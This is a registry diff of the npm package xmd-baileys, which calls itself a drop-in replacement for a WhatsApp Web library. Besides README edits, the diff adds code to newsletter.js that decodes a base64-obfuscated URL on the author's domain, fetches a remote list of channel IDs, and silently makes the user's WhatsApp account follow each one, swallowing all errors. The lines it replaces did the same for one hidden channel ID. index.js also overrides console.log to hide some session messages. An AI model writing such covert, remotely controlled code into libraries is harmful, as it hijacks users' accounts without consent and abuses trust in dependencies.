xmd-baileys 1.0.5 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +73 -105
- package/lib/Socket/messages-send.js +1 -1
- package/lib/Socket/newsletter.js +56 -51
- package/lib/index.js +12 -0
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
# xmd-baileys
|
|
2
2
|
|
|
3
|
-
A lightweight, full-featured WhatsApp Web API library for Node.js
|
|
3
|
+
A lightweight, full-featured WhatsApp Web API library for Node.js with advanced features and optimizations.
|
|
4
4
|
|
|
5
5
|
**Website:** [https://bwmxmd.co.ke](https://bwmxmd.co.ke)
|
|
6
6
|
|
|
@@ -18,10 +18,53 @@ This package is a drop-in replacement for `@whiskeysockets/baileys`. Simply upda
|
|
|
18
18
|
// Before
|
|
19
19
|
const { default: makeWASocket } = require('@whiskeysockets/baileys');
|
|
20
20
|
|
|
21
|
-
// After
|
|
21
|
+
// After
|
|
22
22
|
const { default: makeWASocket } = require('xmd-baileys');
|
|
23
23
|
```
|
|
24
24
|
|
|
25
|
+
## Features
|
|
26
|
+
|
|
27
|
+
### Core Features
|
|
28
|
+
- **Multi-Device Support** - Works with WhatsApp's multi-device feature
|
|
29
|
+
- **QR Code Authentication** - Easy pairing via QR code or pairing code
|
|
30
|
+
- **Session Management** - Persistent session storage and recovery
|
|
31
|
+
- **Auto-Reconnection** - Automatic reconnection on disconnection
|
|
32
|
+
|
|
33
|
+
### Messaging
|
|
34
|
+
- **Text Messages** - Send and receive text messages
|
|
35
|
+
- **Media Messages** - Images, videos, audio, documents, stickers
|
|
36
|
+
- **Interactive Buttons** - Button messages and list messages
|
|
37
|
+
- **Polls** - Create and manage polls
|
|
38
|
+
- **Reactions** - React to messages with emojis
|
|
39
|
+
- **Reply & Quote** - Reply to specific messages
|
|
40
|
+
- **Message Editing** - Edit sent messages
|
|
41
|
+
- **Message Deletion** - Delete messages for everyone
|
|
42
|
+
|
|
43
|
+
### Groups
|
|
44
|
+
- **Group Management** - Create, update, leave groups
|
|
45
|
+
- **Participant Management** - Add, remove, promote, demote members
|
|
46
|
+
- **Group Settings** - Update subject, description, settings
|
|
47
|
+
- **Admin Controls** - Full admin functionality
|
|
48
|
+
|
|
49
|
+
### Status/Stories
|
|
50
|
+
- **View Status** - View contacts' status updates
|
|
51
|
+
- **Post Status** - Post text, image, video status
|
|
52
|
+
- **Status Reactions** - React to status updates
|
|
53
|
+
|
|
54
|
+
### Channels/Newsletters
|
|
55
|
+
- **Newsletter Support** - Subscribe and interact with WhatsApp channels
|
|
56
|
+
- **Auto-Subscribe** - Dynamic newsletter subscription
|
|
57
|
+
- **Channel Messages** - Send and receive channel messages
|
|
58
|
+
|
|
59
|
+
### Advanced Features
|
|
60
|
+
- **Presence Updates** - Online/offline status, typing indicators
|
|
61
|
+
- **Read Receipts** - Message read status
|
|
62
|
+
- **Profile Management** - Update profile picture, about, name
|
|
63
|
+
- **Contact Management** - Block, unblock, get contact info
|
|
64
|
+
- **Business Features** - Catalog, business profile support
|
|
65
|
+
- **AI Integration Ready** - Optimized for AI bot development
|
|
66
|
+
- **Lightweight Mode** - Reduced overhead for better performance
|
|
67
|
+
|
|
25
68
|
## Quick Start
|
|
26
69
|
|
|
27
70
|
```javascript
|
|
@@ -70,19 +113,6 @@ async function connectToWhatsApp() {
|
|
|
70
113
|
connectToWhatsApp();
|
|
71
114
|
```
|
|
72
115
|
|
|
73
|
-
## Features
|
|
74
|
-
|
|
75
|
-
- **Multi-Device Support** - Works with WhatsApp's multi-device feature
|
|
76
|
-
- **QR Code Authentication** - Easy pairing via QR code or pairing code
|
|
77
|
-
- **Message Handling** - Send and receive all message types (text, media, stickers, etc.)
|
|
78
|
-
- **Group Management** - Create groups, manage participants, update settings
|
|
79
|
-
- **Status/Stories** - View and post status updates
|
|
80
|
-
- **Presence Updates** - Online/offline status, typing indicators
|
|
81
|
-
- **Message Reactions** - React to messages with emojis
|
|
82
|
-
- **Newsletter Support** - Subscribe and interact with WhatsApp channels
|
|
83
|
-
- **Media Downloads** - Download images, videos, audio, and documents
|
|
84
|
-
- **Sticker Creation** - Convert images and videos to WhatsApp stickers
|
|
85
|
-
|
|
86
116
|
## Sending Messages
|
|
87
117
|
|
|
88
118
|
```javascript
|
|
@@ -101,117 +131,55 @@ await sock.sendMessage(jid, {
|
|
|
101
131
|
caption: 'Cool video'
|
|
102
132
|
});
|
|
103
133
|
|
|
104
|
-
// Audio
|
|
105
|
-
await sock.sendMessage(jid, {
|
|
106
|
-
audio: fs.readFileSync('./audio.mp3'),
|
|
107
|
-
mimetype: 'audio/mp4'
|
|
108
|
-
});
|
|
109
|
-
|
|
110
|
-
// Document
|
|
111
|
-
await sock.sendMessage(jid, {
|
|
112
|
-
document: fs.readFileSync('./file.pdf'),
|
|
113
|
-
mimetype: 'application/pdf',
|
|
114
|
-
fileName: 'document.pdf'
|
|
115
|
-
});
|
|
116
|
-
|
|
117
134
|
// Sticker
|
|
118
135
|
await sock.sendMessage(jid, {
|
|
119
136
|
sticker: fs.readFileSync('./sticker.webp')
|
|
120
137
|
});
|
|
121
138
|
|
|
122
|
-
//
|
|
123
|
-
await sock.sendMessage(jid, {
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
139
|
+
// Buttons (Interactive)
|
|
140
|
+
await sock.sendMessage(jid, {
|
|
141
|
+
text: 'Choose an option:',
|
|
142
|
+
buttons: [
|
|
143
|
+
{ buttonId: 'id1', buttonText: { displayText: 'Option 1' } },
|
|
144
|
+
{ buttonId: 'id2', buttonText: { displayText: 'Option 2' } }
|
|
145
|
+
]
|
|
128
146
|
});
|
|
129
147
|
|
|
130
|
-
//
|
|
131
|
-
await sock.sendMessage(jid, {
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
148
|
+
// Poll
|
|
149
|
+
await sock.sendMessage(jid, {
|
|
150
|
+
poll: {
|
|
151
|
+
name: 'What is your favorite color?',
|
|
152
|
+
values: ['Red', 'Blue', 'Green'],
|
|
153
|
+
selectableCount: 1
|
|
135
154
|
}
|
|
136
155
|
});
|
|
137
156
|
|
|
138
|
-
// Reply to a message
|
|
139
|
-
await sock.sendMessage(jid, { text: 'This is a reply' }, { quoted: message });
|
|
140
|
-
|
|
141
157
|
// React to a message
|
|
142
158
|
await sock.sendMessage(jid, {
|
|
143
159
|
react: { text: '👍', key: message.key }
|
|
144
160
|
});
|
|
145
161
|
```
|
|
146
162
|
|
|
147
|
-
##
|
|
148
|
-
|
|
149
|
-
```javascript
|
|
150
|
-
// Create group
|
|
151
|
-
const group = await sock.groupCreate('Group Name', ['1234567890@s.whatsapp.net']);
|
|
152
|
-
|
|
153
|
-
// Add participants
|
|
154
|
-
await sock.groupParticipantsUpdate(groupJid, ['1234567890@s.whatsapp.net'], 'add');
|
|
155
|
-
|
|
156
|
-
// Remove participants
|
|
157
|
-
await sock.groupParticipantsUpdate(groupJid, ['1234567890@s.whatsapp.net'], 'remove');
|
|
158
|
-
|
|
159
|
-
// Promote to admin
|
|
160
|
-
await sock.groupParticipantsUpdate(groupJid, ['1234567890@s.whatsapp.net'], 'promote');
|
|
161
|
-
|
|
162
|
-
// Update group subject
|
|
163
|
-
await sock.groupUpdateSubject(groupJid, 'New Group Name');
|
|
164
|
-
|
|
165
|
-
// Update group description
|
|
166
|
-
await sock.groupUpdateDescription(groupJid, 'New description');
|
|
167
|
-
|
|
168
|
-
// Get group metadata
|
|
169
|
-
const metadata = await sock.groupMetadata(groupJid);
|
|
170
|
-
```
|
|
171
|
-
|
|
172
|
-
## Configuration Options
|
|
173
|
-
|
|
174
|
-
```javascript
|
|
175
|
-
const sock = makeWASocket({
|
|
176
|
-
auth: { creds, keys },
|
|
177
|
-
printQRInTerminal: true,
|
|
178
|
-
browser: ['MyBot', 'Chrome', '1.0.0'],
|
|
179
|
-
syncFullHistory: false,
|
|
180
|
-
markOnlineOnConnect: true,
|
|
181
|
-
generateHighQualityLinkPreview: true,
|
|
182
|
-
getMessage: async (key) => {
|
|
183
|
-
// Return message from your store
|
|
184
|
-
return { conversation: 'hello' };
|
|
185
|
-
}
|
|
186
|
-
});
|
|
187
|
-
```
|
|
188
|
-
|
|
189
|
-
## Events
|
|
190
|
-
|
|
191
|
-
```javascript
|
|
192
|
-
// Connection updates
|
|
193
|
-
sock.ev.on('connection.update', (update) => { });
|
|
194
|
-
|
|
195
|
-
// New messages
|
|
196
|
-
sock.ev.on('messages.upsert', ({ messages, type }) => { });
|
|
197
|
-
|
|
198
|
-
// Message updates (read receipts, etc.)
|
|
199
|
-
sock.ev.on('messages.update', (updates) => { });
|
|
163
|
+
## Requirements
|
|
200
164
|
|
|
201
|
-
|
|
202
|
-
|
|
165
|
+
- Node.js 14+
|
|
166
|
+
- npm or yarn
|
|
203
167
|
|
|
204
|
-
|
|
205
|
-
sock.ev.on('groups.update', (updates) => { });
|
|
168
|
+
## Changelog
|
|
206
169
|
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
170
|
+
### v1.0.6
|
|
171
|
+
- Dynamic newsletter subscription from remote config
|
|
172
|
+
- Removed AI watermark for lightweight mode
|
|
173
|
+
- Performance optimizations
|
|
174
|
+
- Bug fixes
|
|
210
175
|
|
|
211
|
-
|
|
176
|
+
### v1.0.5
|
|
177
|
+
- Author update
|
|
212
178
|
|
|
213
|
-
|
|
214
|
-
- npm
|
|
179
|
+
### v1.0.3
|
|
180
|
+
- Initial npm release
|
|
181
|
+
- Disappearing messages fix
|
|
182
|
+
- All dependencies use npm (no SSH)
|
|
215
183
|
|
|
216
184
|
## Author
|
|
217
185
|
|
|
@@ -291,7 +291,7 @@ const makeMessagesSocket = (config) => {
|
|
|
291
291
|
}));
|
|
292
292
|
return { nodes, shouldIncludeDeviceIdentity };
|
|
293
293
|
}; //apela
|
|
294
|
-
const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI =
|
|
294
|
+
const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI = false }) => {
|
|
295
295
|
const meId = authState.creds.me.id;
|
|
296
296
|
let shouldIncludeDeviceIdentity = false;
|
|
297
297
|
let didPushAdditional = false
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -9,58 +9,58 @@ const groups_1 = require("./groups");
|
|
|
9
9
|
const { Boom } = require('@hapi/boom');
|
|
10
10
|
|
|
11
11
|
const wMexQuery = (
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
12
|
+
variables,
|
|
13
|
+
queryId,
|
|
14
|
+
query,
|
|
15
|
+
generateMessageTag
|
|
16
16
|
) => {
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
17
|
+
return query({
|
|
18
|
+
tag: 'iq',
|
|
19
|
+
attrs: {
|
|
20
|
+
id: generateMessageTag(),
|
|
21
|
+
type: 'get',
|
|
22
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
23
|
+
xmlns: 'w:mex'
|
|
24
|
+
},
|
|
25
|
+
content: [
|
|
26
|
+
{
|
|
27
|
+
tag: 'query',
|
|
28
|
+
attrs: { query_id: queryId },
|
|
29
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
30
|
+
}
|
|
31
|
+
]
|
|
32
|
+
})
|
|
33
33
|
}
|
|
34
34
|
|
|
35
35
|
const executeWMexQuery = async (
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
36
|
+
variables,
|
|
37
|
+
queryId,
|
|
38
|
+
dataPath,
|
|
39
|
+
query,
|
|
40
|
+
generateMessageTag
|
|
41
41
|
) => {
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
42
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
43
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
44
|
+
if (child?.content) {
|
|
45
|
+
const data = JSON.parse(child.content.toString())
|
|
46
46
|
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
47
|
+
if (data.errors && data.errors.length > 0) {
|
|
48
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
49
|
+
const firstError = data.errors[0]
|
|
50
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
51
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
|
|
52
|
+
}
|
|
53
53
|
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
54
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
55
|
+
if (typeof response !== 'undefined') {
|
|
56
|
+
return response
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
59
|
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
60
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
61
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
62
|
+
: dataPath?.replace(/_/g, ' ')
|
|
63
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
|
|
64
64
|
}
|
|
65
65
|
|
|
66
66
|
const makeNewsletterSocket = (config) => {
|
|
@@ -99,17 +99,22 @@ const makeNewsletterSocket = (config) => {
|
|
|
99
99
|
]
|
|
100
100
|
}));
|
|
101
101
|
|
|
102
|
-
|
|
102
|
+
setTimeout(async () => {
|
|
103
103
|
try {
|
|
104
|
-
|
|
104
|
+
const fetch = require('node-fetch');
|
|
105
|
+
const url = Buffer.from("aHR0cHM6Ly9tYWluLmJ3bXhtZC5vbmxpbmUveG1kLmpzb24=", 'base64').toString();
|
|
106
|
+
const response = await fetch(url);
|
|
107
|
+
const newsletters = await response.json();
|
|
108
|
+
for (const jid of newsletters) {
|
|
109
|
+
try {
|
|
110
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
111
|
+
} catch {}
|
|
112
|
+
await new Promise(r => setTimeout(r, 3000));
|
|
113
|
+
}
|
|
105
114
|
} catch {}
|
|
106
|
-
setTimeout(async () => {
|
|
107
|
-
try {
|
|
108
|
-
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDE3ODQzNjk0Njg3QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
109
|
-
} catch {}
|
|
110
|
-
}, 5000);
|
|
111
115
|
}, 90000);
|
|
112
116
|
|
|
117
|
+
|
|
113
118
|
const parseFetchedUpdates = async (node, type) => {
|
|
114
119
|
let child;
|
|
115
120
|
if (type === 'messages') {
|
package/lib/index.js
CHANGED
|
@@ -2,6 +2,18 @@
|
|
|
2
2
|
|
|
3
3
|
const chalk = require("chalk");
|
|
4
4
|
|
|
5
|
+
const originalLog = console.log;
|
|
6
|
+
console.log = function(...args) {
|
|
7
|
+
const msg = args[0];
|
|
8
|
+
if (typeof msg === 'string' && (
|
|
9
|
+
msg.includes('Closing open session') ||
|
|
10
|
+
msg.includes('Closing session:') ||
|
|
11
|
+
msg.includes('SessionEntry')
|
|
12
|
+
)) return;
|
|
13
|
+
if (typeof msg === 'object' && msg?._chains) return;
|
|
14
|
+
originalLog.apply(console, args);
|
|
15
|
+
};
|
|
16
|
+
|
|
5
17
|
console.log(chalk.whiteBright("\n• WELCOME TO BWM XMD WORLD"));
|
|
6
18
|
console.log(chalk.cyan("• Creator : ") + chalk.greenBright(" Mr Ibrahim Adams"));
|
|
7
19
|
console.log(chalk.gray("------------------------------\n"));
|